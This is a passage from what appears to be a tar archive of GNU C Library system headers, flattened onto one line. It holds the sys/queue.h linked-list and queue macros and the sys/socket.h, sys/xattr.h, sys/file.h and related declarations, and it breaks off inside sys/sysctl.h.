(listelm)->field.le_prev; \ (elm)->field.le_next = (listelm); \ *(listelm)->field.le_prev = (elm); \ (listelm)->field.le_prev = &(elm)->field.le_next; \ } while (/*CONSTCOND*/0) #define LIST_INSERT_HEAD(head, elm, field) do { \ if (((elm)->field.le_next = (head)->lh_first) != NULL) \ (head)->lh_first->field.le_prev = &(elm)->field.le_next;\ (head)->lh_first = (elm); \ (elm)->field.le_prev = &(head)->lh_first; \ } while (/*CONSTCOND*/0) #define LIST_REMOVE(elm, field) do { \ if ((elm)->field.le_next != NULL) \ (elm)->field.le_next->field.le_prev = \ (elm)->field.le_prev; \ *(elm)->field.le_prev = (elm)->field.le_next; \ } while (/*CONSTCOND*/0) #define LIST_FOREACH(var, head, field) \ for ((var) = ((head)->lh_first); \ (var); \ (var) = ((var)->field.le_next)) /* * List access methods. */ #define LIST_EMPTY(head) ((head)->lh_first == NULL) #define LIST_FIRST(head) ((head)->lh_first) #define LIST_NEXT(elm, field) ((elm)->field.le_next) /* * Singly-linked List definitions. */ #define SLIST_HEAD(name, type) \ struct name { \ struct type *slh_first; /* first element */ \ } #define SLIST_HEAD_INITIALIZER(head) \ { NULL } #define SLIST_ENTRY(type) \ struct { \ struct type *sle_next; /* next element */ \ } /* * Singly-linked List functions. */ #define SLIST_INIT(head) do { \ (head)->slh_first = NULL; \ } while (/*CONSTCOND*/0) #define SLIST_INSERT_AFTER(slistelm, elm, field) do { \ (elm)->field.sle_next = (slistelm)->field.sle_next; \ (slistelm)->field.sle_next = (elm); \ } while (/*CONSTCOND*/0) #define SLIST_INSERT_HEAD(head, elm, field) do { \ (elm)->field.sle_next = (head)->slh_first; \ (head)->slh_first = (elm); \ } while (/*CONSTCOND*/0) #define SLIST_REMOVE_HEAD(head, field) do { \ (head)->slh_first = (head)->slh_first->field.sle_next; \ } while (/*CONSTCOND*/0) #define SLIST_REMOVE(head, elm, type, field) do { \ if ((head)->slh_first == (elm)) { \ SLIST_REMOVE_HEAD((head), field); \ } \ else { \ struct type *curelm = (head)->slh_first; \ while(curelm->field.sle_next != (elm)) \ curelm = curelm->field.sle_next; \ curelm->field.sle_next = \ curelm->field.sle_next->field.sle_next; \ } \ } while (/*CONSTCOND*/0) #define SLIST_FOREACH(var, head, field) \ for((var) = (head)->slh_first; (var); (var) = (var)->field.sle_next) /* * Singly-linked List access methods. */ #define SLIST_EMPTY(head) ((head)->slh_first == NULL) #define SLIST_FIRST(head) ((head)->slh_first) #define SLIST_NEXT(elm, field) ((elm)->field.sle_next) /* * Singly-linked Tail queue declarations. */ #define STAILQ_HEAD(name, type) \ struct name { \ struct type *stqh_first; /* first element */ \ struct type **stqh_last; /* addr of last next element */ \ } #define STAILQ_HEAD_INITIALIZER(head) \ { NULL, &(head).stqh_first } #define STAILQ_ENTRY(type) \ struct { \ struct type *stqe_next; /* next element */ \ } /* * Singly-linked Tail queue functions. */ #define STAILQ_INIT(head) do { \ (head)->stqh_first = NULL; \ (head)->stqh_last = &(head)->stqh_first; \ } while (/*CONSTCOND*/0) #define STAILQ_INSERT_HEAD(head, elm, field) do { \ if (((elm)->field.stqe_next = (head)->stqh_first) == NULL) \ (head)->stqh_last = &(elm)->field.stqe_next; \ (head)->stqh_first = (elm); \ } while (/*CONSTCOND*/0) #define STAILQ_INSERT_TAIL(head, elm, field) do { \ (elm)->field.stqe_next = NULL; \ *(head)->stqh_last = (elm); \ (head)->stqh_last = &(elm)->field.stqe_next; \ } while (/*CONSTCOND*/0) #define STAILQ_INSERT_AFTER(head, listelm, elm, field) do { \ if (((elm)->field.stqe_next = (listelm)->field.stqe_next) == NULL)\ (head)->stqh_last = &(elm)->field.stqe_next; \ (listelm)->field.stqe_next = (elm); \ } while (/*CONSTCOND*/0) #define STAILQ_REMOVE_HEAD(head, field) do { \ if (((head)->stqh_first = (head)->stqh_first->field.stqe_next) == NULL) \ (head)->stqh_last = &(head)->stqh_first; \ } while (/*CONSTCOND*/0) #define STAILQ_REMOVE(head, elm, type, field) do { \ if ((head)->stqh_first == (elm)) { \ STAILQ_REMOVE_HEAD((head), field); \ } else { \ struct type *curelm = (head)->stqh_first; \ while (curelm->field.stqe_next != (elm)) \ curelm = curelm->field.stqe_next; \ if ((curelm->field.stqe_next = \ curelm->field.stqe_next->field.stqe_next) == NULL) \ (head)->stqh_last = &(curelm)->field.stqe_next; \ } \ } while (/*CONSTCOND*/0) #define STAILQ_FOREACH(var, head, field) \ for ((var) = ((head)->stqh_first); \ (var); \ (var) = ((var)->field.stqe_next)) #define STAILQ_CONCAT(head1, head2) do { \ if (!STAILQ_EMPTY((head2))) { \ *(head1)->stqh_last = (head2)->stqh_first; \ (head1)->stqh_last = (head2)->stqh_last; \ STAILQ_INIT((head2)); \ } \ } while (/*CONSTCOND*/0) /* * Singly-linked Tail queue access methods. */ #define STAILQ_EMPTY(head) ((head)->stqh_first == NULL) #define STAILQ_FIRST(head) ((head)->stqh_first) #define STAILQ_NEXT(elm, field) ((elm)->field.stqe_next) /* * Simple queue definitions. */ #define SIMPLEQ_HEAD(name, type) \ struct name { \ struct type *sqh_first; /* first element */ \ struct type **sqh_last; /* addr of last next element */ \ } #define SIMPLEQ_HEAD_INITIALIZER(head) \ { NULL, &(head).sqh_first } #define SIMPLEQ_ENTRY(type) \ struct { \ struct type *sqe_next; /* next element */ \ } /* * Simple queue functions. */ #define SIMPLEQ_INIT(head) do { \ (head)->sqh_first = NULL; \ (head)->sqh_last = &(head)->sqh_first; \ } while (/*CONSTCOND*/0) #define SIMPLEQ_INSERT_HEAD(head, elm, field) do { \ if (((elm)->field.sqe_next = (head)->sqh_first) == NULL) \ (head)->sqh_last = &(elm)->field.sqe_next; \ (head)->sqh_first = (elm); \ } while (/*CONSTCOND*/0) #define SIMPLEQ_INSERT_TAIL(head, elm, field) do { \ (elm)->field.sqe_next = NULL; \ *(head)->sqh_last = (elm); \ (head)->sqh_last = &(elm)->field.sqe_next; \ } while (/*CONSTCOND*/0) #define SIMPLEQ_INSERT_AFTER(head, listelm, elm, field) do { \ if (((elm)->field.sqe_next = (listelm)->field.sqe_next) == NULL)\ (head)->sqh_last = &(elm)->field.sqe_next; \ (listelm)->field.sqe_next = (elm); \ } while (/*CONSTCOND*/0) #define SIMPLEQ_REMOVE_HEAD(head, field) do { \ if (((head)->sqh_first = (head)->sqh_first->field.sqe_next) == NULL) \ (head)->sqh_last = &(head)->sqh_first; \ } while (/*CONSTCOND*/0) #define SIMPLEQ_REMOVE(head, elm, type, field) do { \ if ((head)->sqh_first == (elm)) { \ SIMPLEQ_REMOVE_HEAD((head), field); \ } else { \ struct type *curelm = (head)->sqh_first; \ while (curelm->field.sqe_next != (elm)) \ curelm = curelm->field.sqe_next; \ if ((curelm->field.sqe_next = \ curelm->field.sqe_next->field.sqe_next) == NULL) \ (head)->sqh_last = &(curelm)->field.sqe_next; \ } \ } while (/*CONSTCOND*/0) #define SIMPLEQ_FOREACH(var, head, field) \ for ((var) = ((head)->sqh_first); \ (var); \ (var) = ((var)->field.sqe_next)) /* * Simple queue access methods. */ #define SIMPLEQ_EMPTY(head) ((head)->sqh_first == NULL) #define SIMPLEQ_FIRST(head) ((head)->sqh_first) #define SIMPLEQ_NEXT(elm, field) ((elm)->field.sqe_next) /* * Tail queue definitions. */ #define _TAILQ_HEAD(name, type, qual) \ struct name { \ qual type *tqh_first; /* first element */ \ qual type *qual *tqh_last; /* addr of last next element */ \ } #define TAILQ_HEAD(name, type) _TAILQ_HEAD(name, struct type,) #define TAILQ_HEAD_INITIALIZER(head) \ { NULL, &(head).tqh_first } #define _TAILQ_ENTRY(type, qual) \ struct { \ qual type *tqe_next; /* next element */ \ qual type *qual *tqe_prev; /* address of previous next element */\ } #define TAILQ_ENTRY(type) _TAILQ_ENTRY(struct type,) /* * Tail queue functions. */ #define TAILQ_INIT(head) do { \ (head)->tqh_first = NULL; \ (head)->tqh_last = &(head)->tqh_first; \ } while (/*CONSTCOND*/0) #define TAILQ_INSERT_HEAD(head, elm, field) do { \ if (((elm)->field.tqe_next = (head)->tqh_first) != NULL) \ (head)->tqh_first->field.tqe_prev = \ &(elm)->field.tqe_next; \ else \ (head)->tqh_last = &(elm)->field.tqe_next; \ (head)->tqh_first = (elm); \ (elm)->field.tqe_prev = &(head)->tqh_first; \ } while (/*CONSTCOND*/0) #define TAILQ_INSERT_TAIL(head, elm, field) do { \ (elm)->field.tqe_next = NULL; \ (elm)->field.tqe_prev = (head)->tqh_last; \ *(head)->tqh_last = (elm); \ (head)->tqh_last = &(elm)->field.tqe_next; \ } while (/*CONSTCOND*/0) #define TAILQ_INSERT_AFTER(head, listelm, elm, field) do { \ if (((elm)->field.tqe_next = (listelm)->field.tqe_next) != NULL)\ (elm)->field.tqe_next->field.tqe_prev = \ &(elm)->field.tqe_next; \ else \ (head)->tqh_last = &(elm)->field.tqe_next; \ (listelm)->field.tqe_next = (elm); \ (elm)->field.tqe_prev = &(listelm)->field.tqe_next; \ } while (/*CONSTCOND*/0) #define TAILQ_INSERT_BEFORE(listelm, elm, field) do { \ (elm)->field.tqe_prev = (listelm)->field.tqe_prev; \ (elm)->field.tqe_next = (listelm); \ *(listelm)->field.tqe_prev = (elm); \ (listelm)->field.tqe_prev = &(elm)->field.tqe_next; \ } while (/*CONSTCOND*/0) #define TAILQ_REMOVE(head, elm, field) do { \ if (((elm)->field.tqe_next) != NULL) \ (elm)->field.tqe_next->field.tqe_prev = \ (elm)->field.tqe_prev; \ else \ (head)->tqh_last = (elm)->field.tqe_prev; \ *(elm)->field.tqe_prev = (elm)->field.tqe_next; \ } while (/*CONSTCOND*/0) #define TAILQ_FOREACH(var, head, field) \ for ((var) = ((head)->tqh_first); \ (var); \ (var) = ((var)->field.tqe_next)) #define TAILQ_FOREACH_REVERSE(var, head, headname, field) \ for ((var) = (*(((struct headname *)((head)->tqh_last))->tqh_last)); \ (var); \ (var) = (*(((struct headname *)((var)->field.tqe_prev))->tqh_last))) #define TAILQ_CONCAT(head1, head2, field) do { \ if (!TAILQ_EMPTY(head2)) { \ *(head1)->tqh_last = (head2)->tqh_first; \ (head2)->tqh_first->field.tqe_prev = (head1)->tqh_last; \ (head1)->tqh_last = (head2)->tqh_last; \ TAILQ_INIT((head2)); \ } \ } while (/*CONSTCOND*/0) /* * Tail queue access methods. */ #define TAILQ_EMPTY(head) ((head)->tqh_first == NULL) #define TAILQ_FIRST(head) ((head)->tqh_first) #define TAILQ_NEXT(elm, field) ((elm)->field.tqe_next) #define TAILQ_LAST(head, headname) \ (*(((struct headname *)((head)->tqh_last))->tqh_last)) #define TAILQ_PREV(elm, headname, field) \ (*(((struct headname *)((elm)->field.tqe_prev))->tqh_last)) /* * Circular queue definitions. */ #define CIRCLEQ_HEAD(name, type) \ struct name { \ struct type *cqh_first; /* first element */ \ struct type *cqh_last; /* last element */ \ } #define CIRCLEQ_HEAD_INITIALIZER(head) \ { (void *)&head, (void *)&head } #define CIRCLEQ_ENTRY(type) \ struct { \ struct type *cqe_next; /* next element */ \ struct type *cqe_prev; /* previous element */ \ } /* * Circular queue functions. */ #define CIRCLEQ_INIT(head) do { \ (head)->cqh_first = (void *)(head); \ (head)->cqh_last = (void *)(head); \ } while (/*CONSTCOND*/0) #define CIRCLEQ_INSERT_AFTER(head, listelm, elm, field) do { \ (elm)->field.cqe_next = (listelm)->field.cqe_next; \ (elm)->field.cqe_prev = (listelm); \ if ((listelm)->field.cqe_next == (void *)(head)) \ (head)->cqh_last = (elm); \ else \ (listelm)->field.cqe_next->field.cqe_prev = (elm); \ (listelm)->field.cqe_next = (elm); \ } while (/*CONSTCOND*/0) #define CIRCLEQ_INSERT_BEFORE(head, listelm, elm, field) do { \ (elm)->field.cqe_next = (listelm); \ (elm)->field.cqe_prev = (listelm)->field.cqe_prev; \ if ((listelm)->field.cqe_prev == (void *)(head)) \ (head)->cqh_first = (elm); \ else \ (listelm)->field.cqe_prev->field.cqe_next = (elm); \ (listelm)->field.cqe_prev = (elm); \ } while (/*CONSTCOND*/0) #define CIRCLEQ_INSERT_HEAD(head, elm, field) do { \ (elm)->field.cqe_next = (head)->cqh_first; \ (elm)->field.cqe_prev = (void *)(head); \ if ((head)->cqh_last == (void *)(head)) \ (head)->cqh_last = (elm); \ else \ (head)->cqh_first->field.cqe_prev = (elm); \ (head)->cqh_first = (elm); \ } while (/*CONSTCOND*/0) #define CIRCLEQ_INSERT_TAIL(head, elm, field) do { \ (elm)->field.cqe_next = (void *)(head); \ (elm)->field.cqe_prev = (head)->cqh_last; \ if ((head)->cqh_first == (void *)(head)) \ (head)->cqh_first = (elm); \ else \ (head)->cqh_last->field.cqe_next = (elm); \ (head)->cqh_last = (elm); \ } while (/*CONSTCOND*/0) #define CIRCLEQ_REMOVE(head, elm, field) do { \ if ((elm)->field.cqe_next == (void *)(head)) \ (head)->cqh_last = (elm)->field.cqe_prev; \ else \ (elm)->field.cqe_next->field.cqe_prev = \ (elm)->field.cqe_prev; \ if ((elm)->field.cqe_prev == (void *)(head)) \ (head)->cqh_first = (elm)->field.cqe_next; \ else \ (elm)->field.cqe_prev->field.cqe_next = \ (elm)->field.cqe_next; \ } while (/*CONSTCOND*/0) #define CIRCLEQ_FOREACH(var, head, field) \ for ((var) = ((head)->cqh_first); \ (var) != (const void *)(head); \ (var) = ((var)->field.cqe_next)) #define CIRCLEQ_FOREACH_REVERSE(var, head, field) \ for ((var) = ((head)->cqh_last); \ (var) != (const void *)(head); \ (var) = ((var)->field.cqe_prev)) /* * Circular queue access methods. */ #define CIRCLEQ_EMPTY(head) ((head)->cqh_first == (void *)(head)) #define CIRCLEQ_FIRST(head) ((head)->cqh_first) #define CIRCLEQ_LAST(head) ((head)->cqh_last) #define CIRCLEQ_NEXT(elm, field) ((elm)->field.cqe_next) #define CIRCLEQ_PREV(elm, field) ((elm)->field.cqe_prev) #define CIRCLEQ_LOOP_NEXT(head, elm, field) \ (((elm)->field.cqe_next == (void *)(head)) \ ? ((head)->cqh_first) \ : (elm->field.cqe_next)) #define CIRCLEQ_LOOP_PREV(head, elm, field) \ (((elm)->field.cqe_prev == (void *)(head)) \ ? ((head)->cqh_last) \ : (elm->field.cqe_prev)) #endif /* sys/queue.h */ sys/errno.h 0000644 00000000023 15246445046 0006665 0 ustar 00 #include <errno.h> sys/socket.h 0000644 00000023733 15246445046 0007045 0 ustar 00 /* Declarations of socket constants, types, and functions. Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SOCKET_H #define _SYS_SOCKET_H 1 #include <features.h> __BEGIN_DECLS #include <bits/types/struct_iovec.h> #define __need_size_t #include <stddef.h> /* This operating system-specific header file defines the SOCK_*, PF_*, AF_*, MSG_*, SOL_*, and SO_* constants, and the `struct sockaddr', `struct msghdr', and `struct linger' types. */ #include <bits/socket.h> #ifdef __USE_MISC # include <bits/types/struct_osockaddr.h> #endif /* The following constants should be used for the second parameter of `shutdown'. */ enum { SHUT_RD = 0, /* No more receptions. */ #define SHUT_RD SHUT_RD SHUT_WR, /* No more transmissions. */ #define SHUT_WR SHUT_WR SHUT_RDWR /* No more receptions or transmissions. */ #define SHUT_RDWR SHUT_RDWR }; /* This is the type we use for generic socket address arguments. With GCC 2.7 and later, the funky union causes redeclarations or uses with any of the listed types to be allowed without complaint. G++ 2.7 does not support transparent unions so there we want the old-style declaration, too. */ #if defined __cplusplus || !__GNUC_PREREQ (2, 7) || !defined __USE_GNU # define __SOCKADDR_ARG struct sockaddr *__restrict # define __CONST_SOCKADDR_ARG const struct sockaddr * #else /* Add more `struct sockaddr_AF' types here as necessary. These are all the ones I found on NetBSD and Linux. */ # define __SOCKADDR_ALLTYPES \ __SOCKADDR_ONETYPE (sockaddr) \ __SOCKADDR_ONETYPE (sockaddr_at) \ __SOCKADDR_ONETYPE (sockaddr_ax25) \ __SOCKADDR_ONETYPE (sockaddr_dl) \ __SOCKADDR_ONETYPE (sockaddr_eon) \ __SOCKADDR_ONETYPE (sockaddr_in) \ __SOCKADDR_ONETYPE (sockaddr_in6) \ __SOCKADDR_ONETYPE (sockaddr_inarp) \ __SOCKADDR_ONETYPE (sockaddr_ipx) \ __SOCKADDR_ONETYPE (sockaddr_iso) \ __SOCKADDR_ONETYPE (sockaddr_ns) \ __SOCKADDR_ONETYPE (sockaddr_un) \ __SOCKADDR_ONETYPE (sockaddr_x25) # define __SOCKADDR_ONETYPE(type) struct type *__restrict __##type##__; typedef union { __SOCKADDR_ALLTYPES } __SOCKADDR_ARG __attribute__ ((__transparent_union__)); # undef __SOCKADDR_ONETYPE # define __SOCKADDR_ONETYPE(type) const struct type *__restrict __##type##__; typedef union { __SOCKADDR_ALLTYPES } __CONST_SOCKADDR_ARG __attribute__ ((__transparent_union__)); # undef __SOCKADDR_ONETYPE #endif #ifdef __USE_GNU /* For `recvmmsg' and `sendmmsg'. */ struct mmsghdr { struct msghdr msg_hdr; /* Actual message header. */ unsigned int msg_len; /* Number of received or sent bytes for the entry. */ }; #endif /* Create a new socket of type TYPE in domain DOMAIN, using protocol PROTOCOL. If PROTOCOL is zero, one is chosen automatically. Returns a file descriptor for the new socket, or -1 for errors. */ extern int socket (int __domain, int __type, int __protocol) __THROW; /* Create two new sockets, of type TYPE in domain DOMAIN and using protocol PROTOCOL, which are connected to each other, and put file descriptors for them in FDS[0] and FDS[1]. If PROTOCOL is zero, one will be chosen automatically. Returns 0 on success, -1 for errors. */ extern int socketpair (int __domain, int __type, int __protocol, int __fds[2]) __THROW; /* Give the socket FD the local address ADDR (which is LEN bytes long). */ extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len) __THROW; /* Put the local address of FD into *ADDR and its length in *LEN. */ extern int getsockname (int __fd, __SOCKADDR_ARG __addr, socklen_t *__restrict __len) __THROW; /* Open a connection on socket FD to peer at ADDR (which LEN bytes long). For connectionless socket types, just set the default address to send to and the only address from which to accept transmissions. Return 0 on success, -1 for errors. This function is a cancellation point and therefore not marked with __THROW. */ extern int connect (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len); /* Put the address of the peer connected to socket FD into *ADDR (which is *LEN bytes long), and its actual length into *LEN. */ extern int getpeername (int __fd, __SOCKADDR_ARG __addr, socklen_t *__restrict __len) __THROW; /* Send N bytes of BUF to socket FD. Returns the number sent or -1. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t send (int __fd, const void *__buf, size_t __n, int __flags); /* Read N bytes into BUF from socket FD. Returns the number read or -1 for errors. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t recv (int __fd, void *__buf, size_t __n, int __flags); /* Send N bytes of BUF on socket FD to peer at address ADDR (which is ADDR_LEN bytes long). Returns the number sent, or -1 for errors. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t sendto (int __fd, const void *__buf, size_t __n, int __flags, __CONST_SOCKADDR_ARG __addr, socklen_t __addr_len); /* Read N bytes into BUF through socket FD. If ADDR is not NULL, fill in *ADDR_LEN bytes of it with tha address of the sender, and store the actual size of the address in *ADDR_LEN. Returns the number of bytes read or -1 for errors. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t recvfrom (int __fd, void *__restrict __buf, size_t __n, int __flags, __SOCKADDR_ARG __addr, socklen_t *__restrict __addr_len); /* Send a message described MESSAGE on socket FD. Returns the number of bytes sent, or -1 for errors. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t sendmsg (int __fd, const struct msghdr *__message, int __flags); #ifdef __USE_GNU /* Send a VLEN messages as described by VMESSAGES to socket FD. Returns the number of datagrams successfully written or -1 for errors. This function is a cancellation point and therefore not marked with __THROW. */ extern int sendmmsg (int __fd, struct mmsghdr *__vmessages, unsigned int __vlen, int __flags); #endif /* Receive a message as described by MESSAGE from socket FD. Returns the number of bytes read or -1 for errors. This function is a cancellation point and therefore not marked with __THROW. */ extern ssize_t recvmsg (int __fd, struct msghdr *__message, int __flags); #ifdef __USE_GNU /* Receive up to VLEN messages as described by VMESSAGES from socket FD. Returns the number of messages received or -1 for errors. This function is a cancellation point and therefore not marked with __THROW. */ extern int recvmmsg (int __fd, struct mmsghdr *__vmessages, unsigned int __vlen, int __flags, struct timespec *__tmo); #endif /* Put the current value for socket FD's option OPTNAME at protocol level LEVEL into OPTVAL (which is *OPTLEN bytes long), and set *OPTLEN to the value's actual length. Returns 0 on success, -1 for errors. */ extern int getsockopt (int __fd, int __level, int __optname, void *__restrict __optval, socklen_t *__restrict __optlen) __THROW; /* Set socket FD's option OPTNAME at protocol level LEVEL to *OPTVAL (which is OPTLEN bytes long). Returns 0 on success, -1 for errors. */ extern int setsockopt (int __fd, int __level, int __optname, const void *__optval, socklen_t __optlen) __THROW; /* Prepare to accept connections on socket FD. N connection requests will be queued before further requests are refused. Returns 0 on success, -1 for errors. */ extern int listen (int __fd, int __n) __THROW; /* Await a connection on socket FD. When a connection arrives, open a new socket to communicate with it, set *ADDR (which is *ADDR_LEN bytes long) to the address of the connecting peer and *ADDR_LEN to the address's actual length, and return the new socket's descriptor, or -1 for errors. This function is a cancellation point and therefore not marked with __THROW. */ extern int accept (int __fd, __SOCKADDR_ARG __addr, socklen_t *__restrict __addr_len); #ifdef __USE_GNU /* Similar to 'accept' but takes an additional parameter to specify flags. This function is a cancellation point and therefore not marked with __THROW. */ extern int accept4 (int __fd, __SOCKADDR_ARG __addr, socklen_t *__restrict __addr_len, int __flags); #endif /* Shut down all or part of the connection open on socket FD. HOW determines what to shut down: SHUT_RD = No more receptions; SHUT_WR = No more transmissions; SHUT_RDWR = No more receptions or transmissions. Returns 0 on success, -1 for errors. */ extern int shutdown (int __fd, int __how) __THROW; #ifdef __USE_XOPEN2K /* Determine wheter socket is at a out-of-band mark. */ extern int sockatmark (int __fd) __THROW; #endif #ifdef __USE_MISC /* FDTYPE is S_IFSOCK or another S_IF* macro defined in <sys/stat.h>; returns 1 if FD is open on an object of the indicated type, 0 if not, or -1 for errors (setting errno). */ extern int isfdtype (int __fd, int __fdtype) __THROW; #endif /* Define some macros helping to catch buffer overflows. */ #if __USE_FORTIFY_LEVEL > 0 && defined __fortify_function # include <bits/socket2.h> #endif __END_DECLS #endif /* sys/socket.h */ sys/klog.h 0000644 00000002263 15246445046 0006504 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_KLOG_H #define _SYS_KLOG_H 1 #include <features.h> __BEGIN_DECLS /* Control the kernel's logging facility. This corresponds exactly to the kernel's syslog system call, but that name is easily confused with the user-level syslog facility, which is something completely different. */ extern int klogctl (int __type, char *__bufp, int __len) __THROW; __END_DECLS #endif /* _SYS_KLOG_H */ sys/xattr.h 0000644 00000010262 15246445046 0006710 0 ustar 00 /* Copyright (C) 2002-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_XATTR_H #define _SYS_XATTR_H 1 #include <features.h> #include <sys/types.h> __BEGIN_DECLS /* The following constants should be used for the fifth parameter of `*setxattr'. */ #ifndef __USE_KERNEL_XATTR_DEFS enum { XATTR_CREATE = 1, /* set value, fail if attr already exists. */ #define XATTR_CREATE XATTR_CREATE XATTR_REPLACE = 2 /* set value, fail if attr does not exist. */ #define XATTR_REPLACE XATTR_REPLACE }; #endif /* Set the attribute NAME of the file pointed to by PATH to VALUE (which is SIZE bytes long). Return 0 on success, -1 for errors. */ extern int setxattr (const char *__path, const char *__name, const void *__value, size_t __size, int __flags) __THROW; /* Set the attribute NAME of the file pointed to by PATH to VALUE (which is SIZE bytes long), not following symlinks for the last pathname component. Return 0 on success, -1 for errors. */ extern int lsetxattr (const char *__path, const char *__name, const void *__value, size_t __size, int __flags) __THROW; /* Set the attribute NAME of the file descriptor FD to VALUE (which is SIZE bytes long). Return 0 on success, -1 for errors. */ extern int fsetxattr (int __fd, const char *__name, const void *__value, size_t __size, int __flags) __THROW; /* Get the attribute NAME of the file pointed to by PATH to VALUE (which is SIZE bytes long). Return 0 on success, -1 for errors. */ extern ssize_t getxattr (const char *__path, const char *__name, void *__value, size_t __size) __THROW; /* Get the attribute NAME of the file pointed to by PATH to VALUE (which is SIZE bytes long), not following symlinks for the last pathname component. Return 0 on success, -1 for errors. */ extern ssize_t lgetxattr (const char *__path, const char *__name, void *__value, size_t __size) __THROW; /* Get the attribute NAME of the file descriptor FD to VALUE (which is SIZE bytes long). Return 0 on success, -1 for errors. */ extern ssize_t fgetxattr (int __fd, const char *__name, void *__value, size_t __size) __THROW; /* List attributes of the file pointed to by PATH into the user-supplied buffer LIST (which is SIZE bytes big). Return 0 on success, -1 for errors. */ extern ssize_t listxattr (const char *__path, char *__list, size_t __size) __THROW; /* List attributes of the file pointed to by PATH into the user-supplied buffer LIST (which is SIZE bytes big), not following symlinks for the last pathname component. Return 0 on success, -1 for errors. */ extern ssize_t llistxattr (const char *__path, char *__list, size_t __size) __THROW; /* List attributes of the file descriptor FD into the user-supplied buffer LIST (which is SIZE bytes big). Return 0 on success, -1 for errors. */ extern ssize_t flistxattr (int __fd, char *__list, size_t __size) __THROW; /* Remove the attribute NAME from the file pointed to by PATH. Return 0 on success, -1 for errors. */ extern int removexattr (const char *__path, const char *__name) __THROW; /* Remove the attribute NAME from the file pointed to by PATH, not following symlinks for the last pathname component. Return 0 on success, -1 for errors. */ extern int lremovexattr (const char *__path, const char *__name) __THROW; /* Remove the attribute NAME from the file descriptor FD. Return 0 on success, -1 for errors. */ extern int fremovexattr (int __fd, const char *__name) __THROW; __END_DECLS #endif /* sys/xattr.h */ sys/file.h 0000644 00000003212 15246445046 0006462 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_FILE_H #define _SYS_FILE_H 1 #include <features.h> #ifndef _FCNTL_H # include <fcntl.h> #endif __BEGIN_DECLS /* Alternate names for values for the WHENCE argument to `lseek'. These are the same as SEEK_SET, SEEK_CUR, and SEEK_END, respectively. */ #ifndef L_SET # define L_SET 0 /* Seek from beginning of file. */ # define L_INCR 1 /* Seek from current position. */ # define L_XTND 2 /* Seek from end of file. */ #endif /* Operations for the `flock' call. */ #define LOCK_SH 1 /* Shared lock. */ #define LOCK_EX 2 /* Exclusive lock. */ #define LOCK_UN 8 /* Unlock. */ /* Can be OR'd in to one of the above. */ #define LOCK_NB 4 /* Don't block when locking. */ /* Apply or remove an advisory lock, according to OPERATION, on the file FD refers to. */ extern int flock (int __fd, int __operation) __THROW; __END_DECLS #endif /* sys/file.h */ sys/kd.h 0000644 00000002127 15246445046 0006145 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_KD_H #define _SYS_KD_H 1 /* Make sure the <linux/types.h> header is not loaded. */ #ifndef _LINUX_TYPES_H # define _LINUX_TYPES_H 1 # define __undef_LINUX_TYPES_H #endif #include <linux/kd.h> #ifdef __undef_LINUX_TYPES_H # undef _LINUX_TYPES_H # undef __undef_LINUX_TYPES_H #endif #endif /* sys/kd.h */ sys/sysctl.h 0000644 00000003724 15246445046 0007074 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more 